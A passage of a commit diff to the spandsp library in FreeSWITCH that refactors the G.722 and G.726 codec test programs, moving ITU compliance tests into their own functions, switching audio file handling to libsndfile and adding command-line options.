 #define OUT_FILE_NAME       "post_g722.wav"
 
 #if 0
@@ -210,105 +218,91 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int main(int argc, char *argv[])
+static void itu_compliance_tests(void)
 {
     g722_encode_state_t enc_state;
     g722_decode_state_t dec_state;
-    int len;
+    int i;
+    int j;
+    int k;
     int len_comp;
     int len_comp_upper;
     int len_data;
+    int len;
     int len2;
-    int len3;
-    int i;
-    int j;
-    int k;
+    int mode;
     int file;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
-    int outframes;
-    int samples;
-    int mode;
-    int itutests;
-    int bit_rate;
-    int eight_k_in;
-    int eight_k_out;
-    float x;
-    int16_t indata[BLOCK_LEN];
-    int16_t outdata[BLOCK_LEN];
-    uint8_t adpcmdata[BLOCK_LEN];
 
-    i = 1;
-    bit_rate = 64000;
-    eight_k_in = FALSE;
-    eight_k_out = FALSE;
-    itutests = TRUE;
-    while (argc > i)
+#if 1
+    /* ITU G.722 encode tests, using configuration 1. The QMF is bypassed */
+    for (file = 0;  encode_test_files[file];  file += 2)
     {
-        if (strcmp(argv[i], "-48") == 0)
+        printf("Testing %s -> %s\n", encode_test_files[file], encode_test_files[file + 1]);
+    
+        /* Get the input data */
+        len_data = get_test_vector(encode_test_files[file], (uint16_t *) itu_data, MAX_TEST_VECTOR_LEN);
+
+        /* Get the reference output data */
+        len_comp = get_test_vector(encode_test_files[file + 1], itu_ref, MAX_TEST_VECTOR_LEN);
+
+        /* Process the input data */
+        /* Skip the reset stuff at each end of the data */
+        for (i = 0;  i < len_data;  i++)
         {
-            bit_rate = 48000;
-            itutests = FALSE;
-            i++;
+            if ((itu_data[i] & 1) == 0)
+                break;
         }
-        else if (strcmp(argv[i], "-56") == 0)
+        for (j = i;  j < len_data;  j++)
         {
-            bit_rate = 56000;
-            itutests = FALSE;
-            i++;
+            if ((itu_data[j] & 1))
+                break;
         }
-        else if (strcmp(argv[i], "-64") == 0)
+        len = j - i;
+        g722_encode_init(&enc_state, 64000, 0);
+        enc_state.itu_test_mode = TRUE;
+        len2 = g722_encode(&enc_state, compressed, itu_data + i, len);
+
+        /* Check the result against the ITU's reference output data */
+        j = 0;
+        for (k = 0;  k < len2;  k++)
         {
-            bit_rate = 64000;
-            itutests = FALSE;
-            i++;
+            if ((compressed[k] & 0xFF) != ((itu_ref[k + i] >> 8) & 0xFF))
+            {
+                printf(">>> %6d %4x %4x\n", k, compressed[k] & 0xFF, itu_ref[k + i] & 0xFFFF);
+                j++;
+            }
         }
-        else if (strcmp(argv[i], "-8k8k") == 0)
+        printf("%d bad samples, out of %d/%d samples\n", j, len, len_data);
+        if (j)
         {
-            eight_k_in = TRUE;
-            eight_k_out = TRUE;
-            i++;
-        }
-        else if (strcmp(argv[i], "-8k16k") == 0)
-        {
-            eight_k_in = TRUE;
-            eight_k_out = FALSE;
-            i++;
-        }
-        else if (strcmp(argv[i], "-16k8k") == 0)
-        {
-            eight_k_in = FALSE;
-            eight_k_out = TRUE;
-            i++;
-        }
-        else if (strcmp(argv[i], "-16k16k") == 0)
-        {
-            eight_k_in = FALSE;
-            eight_k_out = FALSE;
-            i++;
-        }
-        else
-        {
-            fprintf(stderr, "Unknown parameter %s specified.\n", argv[i]);
+            printf("Test failed\n");
             exit(2);
         }
+        printf("Test passed\n");
     }
-
-    if (itutests)
+#endif
+#if 1
+    /* ITU G.722 decode tests, using configuration 2. The QMF is bypassed */
+    /* Run each of the tests for each of the modes - 48kbps, 56kbps and 64kbps. */
+    for (mode = 1;  mode <= 3;  mode++)
     {
-#if 1
-        /* ITU G.722 encode tests, using configuration 1. The QMF is bypassed */
-        for (file = 0;  encode_test_files[file];  file += 2)
+        for (file = 0;  decode_test_files[file];  file += 5)
         {
-            printf("Testing %s -> %s\n", encode_test_files[file], encode_test_files[file + 1]);
+            printf("Testing mode %d, %s -> %s + %s\n",
+                   mode,
+                   decode_test_files[file],
+                   decode_test_files[file + mode],
+                   decode_test_files[file + 4]);
+
+            /* Get the input data */
+            len_data = get_test_vector(decode_test_files[file], (uint16_t *) itu_data, MAX_TEST_VECTOR_LEN);
+        
+            /* Get the lower reference output data */
+            len_comp = get_test_vector(decode_test_files[file + mode], itu_ref, MAX_TEST_VECTOR_LEN);
     
-            /* Get the input data */
-            len_data = get_test_vector(encode_test_files[file], (uint16_t *) itu_data, MAX_TEST_VECTOR_LEN);
-
-            /* Get the reference output data */
-            len_comp = get_test_vector(encode_test_files[file + 1], itu_ref, MAX_TEST_VECTOR_LEN);
-
+            /* Get the upper reference output data */
+            len_comp_upper = get_test_vector(decode_test_files[file + 4], itu_ref_upper, MAX_TEST_VECTOR_LEN);
+    
             /* Process the input data */
             /* Skip the reset stuff at each end of the data */
             for (i = 0;  i < len_data;  i++)
@@ -322,17 +316,22 @@
                     break;
             }
             len = j - i;
-            g722_encode_init(&enc_state, 64000, 0);
-            enc_state.itu_test_mode = TRUE;
-            len2 = g722_encode(&enc_state, compressed, itu_data + i, len);
+            for (k = 0;  k < len;  k++)
+                compressed[k] = itu_data[k + i] >> ((mode == 3)  ?  10  :  (mode == 2)  ?  9  :  8);
+        
+            g722_decode_init(&dec_state, (mode == 3)  ?  48000  :  (mode == 2)  ?  56000  :  64000, 0);
+            dec_state.itu_test_mode = TRUE;
+            len2 = g722_decode(&dec_state, decompressed, compressed, len);
 
             /* Check the result against the ITU's reference output data */
             j = 0;
-            for (k = 0;  k < len2;  k++)
+            for (k = 0;  k < len2;  k += 2)
             {
-                if ((compressed[k] & 0xFF) != ((itu_ref[k + i] >> 8) & 0xFF))
+                if ((decompressed[k] & 0xFFFF) != (itu_ref[(k >> 1) + i] & 0xFFFF)
+                    ||
+                    (decompressed[k + 1] & 0xFFFF) != (itu_ref_upper[(k >> 1) + i] & 0xFFFF))
                 {
-                    printf(">>> %6d %4x %4x\n", k, compressed[k] & 0xFF, itu_ref[k + i] & 0xFFFF);
+                    printf(">>> %6d %4x %4x %4x %4x\n", k >> 1, decompressed[k] & 0xFFFF, decompressed[k + 1] & 0xFFFF, itu_ref[(k >> 1) + i] & 0xFFFF, itu_ref_upper[(k >> 1) + i] & 0xFFFF);
                     j++;
                 }
             }
@@ -344,180 +343,282 @@
             }
             printf("Test passed\n");
         }
+    }
 #endif
-#if 1
-        /* ITU G.722 decode tests, using configuration 2. The QMF is bypassed */
-        /* Run each of the tests for each of the modes - 48kbps, 56kbps and 64kbps. */
-        for (mode = 1;  mode <= 3;  mode++)
+    printf("Tests passed.\n");
+}
+/*- End of function --------------------------------------------------------*/
+
+int main(int argc, char *argv[])
+{
+    g722_encode_state_t enc_state;
+    g722_decode_state_t dec_state;
+    int len2;
+    int len3;
+    int i;
+    int file;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
+    SF_INFO info;
+    int outframes;
+    int samples;
+    int opt;
+    int itutests;
+    int bit_rate;
+    int eight_k_in;
+    int eight_k_out;
+    int encode;
+    int decode;
+    int tone_test;
+    const char *in_file;
+    const char *out_file;
+    int16_t indata[BLOCK_LEN];
+    int16_t outdata[BLOCK_LEN];
+    uint8_t adpcmdata[BLOCK_LEN];
+    float tone_level;
+    uint32_t tone_phase;
+    int32_t tone_phase_rate;
+
+    bit_rate = 64000;
+    eight_k_in = FALSE;
+    eight_k_out = FALSE;
+    itutests = TRUE;
+    encode = FALSE;
+    decode = FALSE;
+    tone_test = FALSE;
+    in_file = NULL;
+    out_file = NULL;
+    while ((opt = getopt(argc, argv, "b:d:e:i:l:o:t")) != -1)
+    {
+        switch (opt)
         {
-            for (file = 0;  decode_test_files[file];  file += 5)
+        case 'b':
+            bit_rate = atoi(optarg);
+            if (bit_rate != 48000  &&  bit_rate != 56000  &&  bit_rate != 64000)
             {
-                printf("Testing mode %d, %s -> %s + %s\n",
-                       mode,
-                       decode_test_files[file],
-                       decode_test_files[file + mode],
-                       decode_test_files[file + 4]);
+                fprintf(stderr, "Invalid bit rate selected. Only 48000, 56000 and 64000 are valid.\n");
+                exit(2);
+            }
+            itutests = FALSE;
+            break;
+        case 'd':
+            in_file = optarg;
+            decode = TRUE;
+            itutests = FALSE;
+            break;
+        case 'e':
+            in_file = optarg;
+            encode = TRUE;
+            itutests = FALSE;
+            break;
+        case 'i':
+            i = atoi(optarg);
+            if (i != 8000  &&  i != 16000)
+            {
+                fprintf(stderr, "Invalid incoming sample rate. Only 8000 and 16000 are valid.\n");
+                exit(2);
+            }
+            eight_k_in = (i == 8000);
+            if (eight_k_in)
+                in_file = EIGHTK_IN_FILE_NAME;
+            break;
+        case 'l':
+            out_file = optarg;
+            break;
+        case 'o':
+            i = atoi(optarg);
+            if (i != 8000  &&  i != 16000)
+            {
+                fprintf(stderr, "Invalid outgoing sample rate. Only 8000 and 16000 are valid.\n");
+                exit(2);
+            }
+            eight_k_out = (i == 8000);
+            break;
+        case 't':
+            tone_test = TRUE;
+            itutests = FALSE;
+            break;
+        default:
+            //usage();
+            exit(2);
+        }
+    }
 
-                /* Get the input data */
-                len_data = get_test_vector(decode_test_files[file], (uint16_t *) itu_data, MAX_TEST_VECTOR_LEN);
-        
-                /* Get the lower reference output data */
-                len_comp = get_test_vector(decode_test_files[file + mode], itu_ref, MAX_TEST_VECTOR_LEN);
-        
-                /* Get the upper reference output data */
-                len_comp_upper = get_test_vector(decode_test_files[file + 4], itu_ref_upper, MAX_TEST_VECTOR_LEN);
-    
-                /* Process the input data */
-                /* Skip the reset stuff at each end of the data */
-                for (i = 0;  i < len_data;  i++)
+    if (itutests)
+    {
+        itu_compliance_tests();
+    }
+    else
+    {
+        tone_level = dds_scaling_dbm0f(2.5f);
+        tone_phase = 0;
+        tone_phase_rate = dds_phase_ratef(1500.0f/2.0f);
+        if (!decode  &&  !encode)
+        {
+            decode =
+            encode = TRUE;
+        }
+        if (in_file == NULL)
+        {
+            if (encode)
+            {
+                if (eight_k_in)
+                    in_file = EIGHTK_IN_FILE_NAME;
+                else
+                    in_file = IN_FILE_NAME;
+            }
+            else
+            {
+                in_file = ENCODED_FILE_NAME;
+            }
+        }
+        if (out_file == NULL)
+        {
+            out_file = (decode)  ?  OUT_FILE_NAME  :  ENCODED_FILE_NAME;
+        }
+        inhandle = NULL;
+        outhandle = NULL;
+        file = -1;
+        if (encode)
+        {
+            if (eight_k_in)
+            {
+                if ((inhandle = sf_open(in_file, SFM_READ, &info)) == NULL)
                 {
-                    if ((itu_data[i] & 1) == 0)
-                        break;
+                    fprintf(stderr, "    Cannot open audio file '%s'\n", in_file);
+                    exit(2);
                 }
-                for (j = i;  j < len_data;  j++)
+                if (info.samplerate != SAMPLE_RATE)
                 {
-                    if ((itu_data[j] & 1))
-                        break;
+                    fprintf(stderr, "    Unexpected sample rate %d in audio file '%s'\n", info.samplerate, in_file);
+                    exit(2);
                 }
-                len = j - i;
-                for (k = 0;  k < len;  k++)
-                    compressed[k] = itu_data[k + i] >> ((mode == 3)  ?  10  :  (mode == 2)  ?  9  :  8);
-        
-                g722_decode_init(&dec_state, (mode == 3)  ?  48000  :  (mode == 2)  ?  56000  :  64000, 0);
-                dec_state.itu_test_mode = TRUE;
-                len2 = g722_decode(&dec_state, decompressed, compressed, len);
-        
-                /* Check the result against the ITU's reference output data */
-                j = 0;
-                for (k = 0;  k < len2;  k += 2)
+                if (info.channels != 1)
                 {
-                    if ((decompressed[k] & 0xFFFF) != (itu_ref[(k >> 1) + i] & 0xFFFF)
-                        ||
-                        (decompressed[k + 1] & 0xFFFF) != (itu_ref_upper[(k >> 1) + i] & 0xFFFF))
-                    {
-                        printf(">>> %6d %4x %4x %4x %4x\n", k >> 1, decompressed[k] & 0xFFFF, decompressed[k + 1] & 0xFFFF, itu_ref[(k >> 1) + i] & 0xFFFF, itu_ref_upper[(k >> 1) + i] & 0xFFFF);
-                        j++;
-                    }
+                    fprintf(stderr, "    Unexpected number of channels in audio file '%s'\n", in_file);
+                    exit(2);
                 }
-                printf("%d bad samples, out of %d/%d samples\n", j, len, len_data);
-                if (j)
+            }
+            else
+            {
+                if ((inhandle = sf_open(in_file, SFM_READ, &info)) == NULL)
                 {
-                    printf("Test failed\n");
+                    fprintf(stderr, "    Cannot open audio file '%s'\n", in_file);
                     exit(2);
                 }
-                printf("Test passed\n");
+                if (info.samplerate != G722_SAMPLE_RATE)
+                {
+                    fprintf(stderr, "    Unexpected sample rate %d in audio file '%s'\n", info.samplerate, in_file);
+                    exit(2);
+                }
+                if (info.channels != 1)
+                {
+                    fprintf(stderr, "    Unexpected number of channels in audio file '%s'\n", in_file);
+                    exit(2);
+                }
             }
+            if (eight_k_in)
+                g722_encode_init(&enc_state, bit_rate, G722_PACKED | G722_SAMPLE_RATE_8000);
+            else
+                g722_encode_init(&enc_state, bit_rate, G722_PACKED);
         }
-#endif
-        printf("Tests passed.\n");
-    }
-    else
-    {
-        if (eight_k_in)
+        else
         {
-            if ((inhandle = afOpenFile(EIGHTK_IN_FILE_NAME, "r", NULL)) == AF_NULL_FILEHANDLE)
+            if ((file = open(in_file, O_RDONLY)) < 0)
             {
-                fprintf(stderr, "    Cannot open wave file '%s'\n", EIGHTK_IN_FILE_NAME);
+                fprintf(stderr, "    Failed to open '%s'\n", in_file);
                 exit(2);
             }
-            if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+        }
+        if (decode)
+        {
+            memset(&info, 0, sizeof(info));
+            info.frames = 0;
+            info.samplerate = (eight_k_out)  ?  SAMPLE_RATE  :  G722_SAMPLE_RATE;
+            info.channels = 1;
+            info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
+            info.sections = 1;
+            info.seekable = 1;
+            if ((outhandle = sf_open(out_file, SFM_WRITE, &info)) == NULL)
             {
-                fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", EIGHTK_IN_FILE_NAME);
+                fprintf(stderr, "    Cannot create audio file '%s'\n", out_file);
                 exit(2);
             }
-            if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
+            if (eight_k_out)
+                g722_decode_init(&dec_state, bit_rate, G722_PACKED | G722_SAMPLE_RATE_8000);
+            else
+                g722_decode_init(&dec_state, bit_rate, G722_PACKED);
+        }
+        else
+        {
+            if ((file = open(out_file, O_WRONLY | O_CREAT | O_TRUNC, 0666)) < 0)
             {
-                fprintf(stderr, "    Unexpected sample rate %f in wave file '%s'\n", x, EIGHTK_IN_FILE_NAME);
+                fprintf(stderr, "    Failed to open '%s'\n", out_file);
                 exit(2);
             }
-            if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
-            {
-                fprintf(stderr, "    Unexpected number of channels in wave file '%s'\n", EIGHTK_IN_FILE_NAME);
-                exit(2);
-            }
         }
-        else
+        for (;;)
         {
-            if ((inhandle = afOpenFile(IN_FILE_NAME, "r", NULL)) == AF_NULL_FILEHANDLE)
+            if (encode)
             {
-                fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME);
-                exit(2);
+                samples = sf_readf_short(inhandle, indata, BLOCK_LEN);
+                if (samples <= 0)
+                    break;
+                if (tone_test)
+                {
+                    for (i = 0;  i < samples;  i++)
+                        indata[i] = dds_modf(&tone_phase, tone_phase_rate, tone_level, 0);
+                }
+                len2 = g722_encode(&enc_state, adpcmdata, indata, samples);
             }
-            if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+            else
             {
-                fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", IN_FILE_NAME);
-                exit(2);
+                len2 = read(file, adpcmdata, BLOCK_LEN);
+                if (len2 <= 0)
+                    break;
             }
-            if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) G722_SAMPLE_RATE)
+            if (decode)
             {
-                fprintf(stderr, "    Unexpected sample rate %f in wave file '%s'\n", x, IN_FILE_NAME);
-                exit(2);
+                len3 = g722_decode(&dec_state, outdata, adpcmdata, len2);
+                outframes = sf_writef_short(outhandle, outdata, len3);
+                if (outframes != len3)
+                {
+                    fprintf(stderr, "    Error writing audio file\n");
+                    exit(2);
+                }
             }
-            if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
+            else
             {
-                fprintf(stderr, "    Unexpected number of channels in wave file '%s'\n", IN_FILE_NAME);
-                exit(2);
+                len3 = write(file, adpcmdata, len2);
+                if (len3 <= 0)
+                    break;
             }
         }
-        
-        if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+        if (encode)
         {
-            fprintf(stderr, "    Failed to create file setup\n");
-            exit(2);
+            if (sf_close(inhandle))
+            {
+                fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME);
+                exit(2);
+            }
         }
-        afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-        if (eight_k_out)
-            afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
         else
-            afInitRate(filesetup, AF_DEFAULT_TRACK, (float) G722_SAMPLE_RATE);
-        afInitFileFormat(filesetup, AF_FILE_WAVE);
-        afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-        if ((outhandle = afOpenFile(OUT_FILE_NAME, "w", filesetup)) == AF_NULL_FILEHANDLE)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
-            exit(2);
+            close(file);
         }
-        if (eight_k_in)
-            g722_encode_init(&enc_state, bit_rate, G722_PACKED | G722_SAMPLE_RATE_8000);
-        else
-            g722_encode_init(&enc_state, bit_rate, G722_PACKED);
-        if (eight_k_out)
-            g722_decode_init(&dec_state, bit_rate, G722_PACKED | G722_SAMPLE_RATE_8000);
-        else
-            g722_decode_init(&dec_state, bit_rate, G722_PACKED);
-        for (;;)
+        if (decode)
         {
-            samples = afReadFrames(inhandle,
-                                   AF_DEFAULT_TRACK,
-                                   indata,
-                                   BLOCK_LEN);
-            if (samples <= 0)
-                break;
-            len2 = g722_encode(&enc_state, adpcmdata, indata, samples);
-            len3 = g722_decode(&dec_state, outdata, adpcmdata, len2);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      outdata,
-                                      len3);
-            if (outframes != len3)
+            if (sf_close(outhandle))
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
                 exit(2);
             }
         }
-        if (afCloseFile(inhandle))
+        else
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", IN_FILE_NAME);
-            exit(2);
+            close(file);
         }
-        if (afCloseFile(outhandle))
-        {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
-            exit(2);
-        }
-        afFreeFileSetup(filesetup);
-
-        printf("'%s' transcoded to '%s' at %dbps.\n", IN_FILE_NAME, OUT_FILE_NAME, bit_rate);
+        printf("'%s' translated to '%s' at %dbps.\n", in_file, out_file, bit_rate);
     }
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/tests/g726_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/g726_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/g726_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g726_tests.c,v 1.28 2008/09/28 14:36:25 steveu Exp $
+ * $Id: g726_tests.c,v 1.33 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -60,6 +60,9 @@
 decompressed, and the resulting audio stored in post_g726.wav.
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -70,8 +73,12 @@
 #include <unistd.h>
 #include <memory.h>
 #include <ctype.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -1070,7 +1077,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int main(int argc, char *argv[])
+static void itu_compliance_tests(void)
 {
     g726_state_t enc_state;
     g726_state_t dec_state;
@@ -1079,225 +1086,215 @@
     int i;
     int test;
     int bits_per_code;
-    int itutests;
-    int bit_rate;
     int bad_samples;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
-    int16_t amp[1024];
-    int frames;
-    int outframes;
     int conditioning_samples;
     int samples;
     int conditioning_adpcm;
     int adpcm;
-    int packing;
 
-    i = 1;
-    bit_rate = 32000;
-    itutests = TRUE;
-    packing = G726_PACKING_NONE;
-    while (argc > i)
+    len2 = 0;
+    conditioning_samples = 0;
+    for (test = 0;  itu_test_sets[test].rate;  test++)
     {
-        if (strcmp(argv[i], "-16") == 0)
+        printf("Test %2d: '%s' + '%s'\n"
+               "      -> '%s' + '%s'\n"
+               "      -> '%s' [%d, %d, %d]\n",
+               test,
+               itu_test_sets[test].conditioning_pcm_file,
+               itu_test_sets[test].pcm_file,
+               itu_test_sets[test].conditioning_adpcm_file,
+               itu_test_sets[test].adpcm_file,
+               itu_test_sets[test].output_file,
+               itu_test_sets[test].rate,
+               itu_test_sets[test].compression_law,
+               itu_test_sets[test].decompression_law);
+        switch (itu_test_sets[test].rate)
         {
-            bit_rate = 16000;
-            itutests = FALSE;
-            i++;
+        case 16000:
+            bits_per_code = 2;
+            break;
+        case 24000:
+            bits_per_code = 3;
+            break;
+        case 32000:
+        default:
+            bits_per_code = 4;
+            break;
+        case 40000:
+            bits_per_code = 5;
+            break;
         }
-        else if (strcmp(argv[i], "-24") == 0)
+        if (itu_test_sets[test].compression_law != G726_ENCODING_NONE)
         {
-            bit_rate = 24000;
-            itutests = FALSE;
-            i++;
+            /* Test the encode side */
+            g726_init(&enc_state, itu_test_sets[test].rate, itu_test_sets[test].compression_law, G726_PACKING_NONE);
+            if (itu_test_sets[test].conditioning_pcm_file[0])
+            {
+                conditioning_samples = get_test_vector(itu_test_sets[test].conditioning_pcm_file, xlaw, MAX_TEST_VECTOR_LEN);
+                printf("Test %d: Homing %d samples at %dbps\n", test, conditioning_samples, itu_test_sets[test].rate);
+            }
+            else
+            {
+                conditioning_samples = 0;
+            }
+            samples = get_test_vector(itu_test_sets[test].pcm_file, xlaw + conditioning_samples, MAX_TEST_VECTOR_LEN);
+            memcpy(itudata, xlaw, samples + conditioning_samples);
+            printf("Test %d: Compressing %d samples at %dbps\n", test, samples, itu_test_sets[test].rate);
+            len2 = g726_encode(&enc_state, adpcmdata, itudata, conditioning_samples + samples);
         }
-        else if (strcmp(argv[i], "-32") == 0)
+        /* Test the decode side */
+        g726_init(&dec_state, itu_test_sets[test].rate, itu_test_sets[test].decompression_law, G726_PACKING_NONE);
+        if (itu_test_sets[test].conditioning_adpcm_file[0])
         {
-            bit_rate = 32000;
-            itutests = FALSE;
-            i++;
+            conditioning_adpcm = get_test_vector(itu_test_sets[test].conditioning_adpcm_file, unpacked, MAX_TEST_VECTOR_LEN);
+            printf("Test %d: Homing %d octets at %dbps\n", test, conditioning_adpcm, itu_test_sets[test].rate);
         }
-        else if (strcmp(argv[i], "-40") == 0)
-        {
-            bit_rate = 40000;
-            itutests = FALSE;
-            i++;
-        }
-        else if (strcmp(argv[i], "-l") == 0)
-        {
-            packing = G726_PACKING_LEFT;
-            i++;
-        }
-        else if (strcmp(argv[i], "-r") == 0)
-        {
-            packing = G726_PACKING_RIGHT;
-            i++;
-        }
         else
         {
-            fprintf(stderr, "Unknown parameter %s specified.\n", argv[i]);
-            exit(2);
+            conditioning_adpcm = 0;
         }
-    }
-
-    len2 = 0;
-    conditioning_samples = 0;
-    if (itutests)
-    {
-        for (test = 0;  itu_test_sets[test].rate;  test++)
+        adpcm = get_test_vector(itu_test_sets[test].adpcm_file, unpacked + conditioning_adpcm, MAX_TEST_VECTOR_LEN);
+        if (itu_test_sets[test].compression_law != G726_ENCODING_NONE)
         {
-            printf("Test %2d: '%s' + '%s'\n"
-                   "      -> '%s' + '%s'\n"
-                   "      -> '%s' [%d, %d, %d]\n",
-                   test,
-                   itu_test_sets[test].conditioning_pcm_file,
-                   itu_test_sets[test].pcm_file,
-                   itu_test_sets[test].conditioning_adpcm_file,
-                   itu_test_sets[test].adpcm_file,
-                   itu_test_sets[test].output_file,
-                   itu_test_sets[test].rate,
-                   itu_test_sets[test].compression_law,
-                   itu_test_sets[test].decompression_law);
-            switch (itu_test_sets[test].rate)
+            /* Test our compressed version against the reference compressed version */
+            printf("Test %d: Compressed data check - %d/%d octets\n", test, conditioning_adpcm + adpcm, len2);
+            if (conditioning_adpcm + adpcm == len2)
             {
-            case 16000:
-                bits_per_code = 2;
-                break;
-            case 24000:
-                bits_per_code = 3;
-                break;
-            case 32000:
-            default:
-                bits_per_code = 4;
-                break;
-            case 40000:
-                bits_per_code = 5;
-                break;
-            }
-            if (itu_test_sets[test].compression_law != G726_ENCODING_NONE)
-            {
-                /* Test the encode side */
-                g726_init(&enc_state, itu_test_sets[test].rate, itu_test_sets[test].compression_law, G726_PACKING_NONE);
-                if (itu_test_sets[test].conditioning_pcm_file[0])
+                for (bad_samples = 0, i = conditioning_samples;  i < len2;  i++)
                 {
-                    conditioning_samples = get_test_vector(itu_test_sets[test].conditioning_pcm_file, xlaw, MAX_TEST_VECTOR_LEN);
-                    printf("Test %d: Homing %d samples at %dbps\n", test, conditioning_samples, itu_test_sets[test].rate);
+                    if (adpcmdata[i] != unpacked[i])
+                    {
+                        bad_samples++;
+                        printf("Test %d: Compressed mismatch %d %x %x\n", test, i, adpcmdata[i], unpacked[i]);
+                    }
                 }
-                else
+                if (bad_samples > 0)
                 {
-                    conditioning_samples = 0;
+                    printf("Test failed\n");
+                    exit(2);
                 }
-                samples = get_test_vector(itu_test_sets[test].pcm_file, xlaw + conditioning_samples, MAX_TEST_VECTOR_LEN);
-                memcpy(itudata, xlaw, samples + conditioning_samples);
-                printf("Test %d: Compressing %d samples at %dbps\n", test, samples, itu_test_sets[test].rate);
-                len2 = g726_encode(&enc_state, adpcmdata, itudata, conditioning_samples + samples);
+                printf("Test passed\n");
             }
-            /* Test the decode side */
-            g726_init(&dec_state, itu_test_sets[test].rate, itu_test_sets[test].decompression_law, G726_PACKING_NONE);
-            if (itu_test_sets[test].conditioning_adpcm_file[0])
-            {
-                conditioning_adpcm = get_test_vector(itu_test_sets[test].conditioning_adpcm_file, unpacked, MAX_TEST_VECTOR_LEN);
-                printf("Test %d: Homing %d octets at %dbps\n", test, conditioning_adpcm, itu_test_sets[test].rate);
-            }
             else
             {
-                conditioning_adpcm = 0;
+                printf("Test %d: Length mismatch - ref = %d, processed = %d\n", test, conditioning_adpcm + adpcm, len2);
+                exit(2);
             }
-            adpcm = get_test_vector(itu_test_sets[test].adpcm_file, unpacked + conditioning_adpcm, MAX_TEST_VECTOR_LEN);
-            if (itu_test_sets[test].compression_law != G726_ENCODING_NONE)
+        }
+
+        len3 = g726_decode(&dec_state, outdata, unpacked, conditioning_adpcm + adpcm);
+
+        /* Get the output reference data */
+        samples = get_test_vector(itu_test_sets[test].output_file, xlaw, MAX_TEST_VECTOR_LEN);
+        memcpy(itu_ref, xlaw, samples);
+        /* Test our decompressed version against the reference decompressed version */
+        printf("Test %d: Decompressed data check - %d/%d samples\n", test, samples, len3 - conditioning_adpcm);
+        if (samples == len3 - conditioning_adpcm)
+        {
+            for (bad_samples = 0, i = 0;  i < len3;  i++)
             {
-                /* Test our compressed version against the reference compressed version */
-                printf("Test %d: Compressed data check - %d/%d octets\n", test, conditioning_adpcm + adpcm, len2);
-                if (conditioning_adpcm + adpcm == len2)
+                if (itu_ref[i] != ((uint8_t *) outdata)[i + conditioning_adpcm])
                 {
-                    for (bad_samples = 0, i = conditioning_samples;  i < len2;  i++)
-                    {
-                        if (adpcmdata[i] != unpacked[i])
-                        {
-                            bad_samples++;
-                            printf("Test %d: Compressed mismatch %d %x %x\n", test, i, adpcmdata[i], unpacked[i]);
-                        }
-                    }
-                    if (bad_samples > 0)
-                    {
-                        printf("Test failed\n");
-                        exit(2);
-                    }
-                    printf("Test passed\n");
+                    bad_samples++;
+                    printf("Test %d: Decompressed mismatch %d %x %x\n", test, i, itu_ref[i], ((uint8_t *) outdata)[i + conditioning_adpcm]);
                 }
-                else
-                {
-                    printf("Test %d: Length mismatch - ref = %d, processed = %d\n", test, conditioning_adpcm + adpcm, len2);
-                    exit(2);
-                }
             }
-            
-            len3 = g726_decode(&dec_state, outdata, unpacked, conditioning_adpcm + adpcm);
-
-            /* Get the output reference data */
-            samples = get_test_vector(itu_test_sets[test].output_file, xlaw, MAX_TEST_VECTOR_LEN);
-            memcpy(itu_ref, xlaw, samples);
-            /* Test our decompressed version against the reference decompressed version */
-            printf("Test %d: Decompressed data check - %d/%d samples\n", test, samples, len3 - conditioning_adpcm);
-            if (samples == len3 - conditioning_adpcm)
+            if (bad_samples > 0)
             {
-                for (bad_samples = 0, i = 0;  i < len3;  i++)
-                {
-                    if (itu_ref[i] != ((uint8_t *) outdata)[i + conditioning_adpcm])
-                    {
-                        bad_samples++;
-                        printf("Test %d: Decompressed mismatch %d %x %x\n", test, i, itu_ref[i], ((uint8_t *) outdata)[i + conditioning_adpcm]);
-                    }
-                }
-                if (bad_samples > 0)
-                {
-                    printf("Test failed\n");
-                    exit(2);
-                }
-                printf("Test passed\n");
+                printf("Test failed\n");
+                exit(2);
             }
-            else
+            printf("Test passed\n");
+        }
+        else
+        {
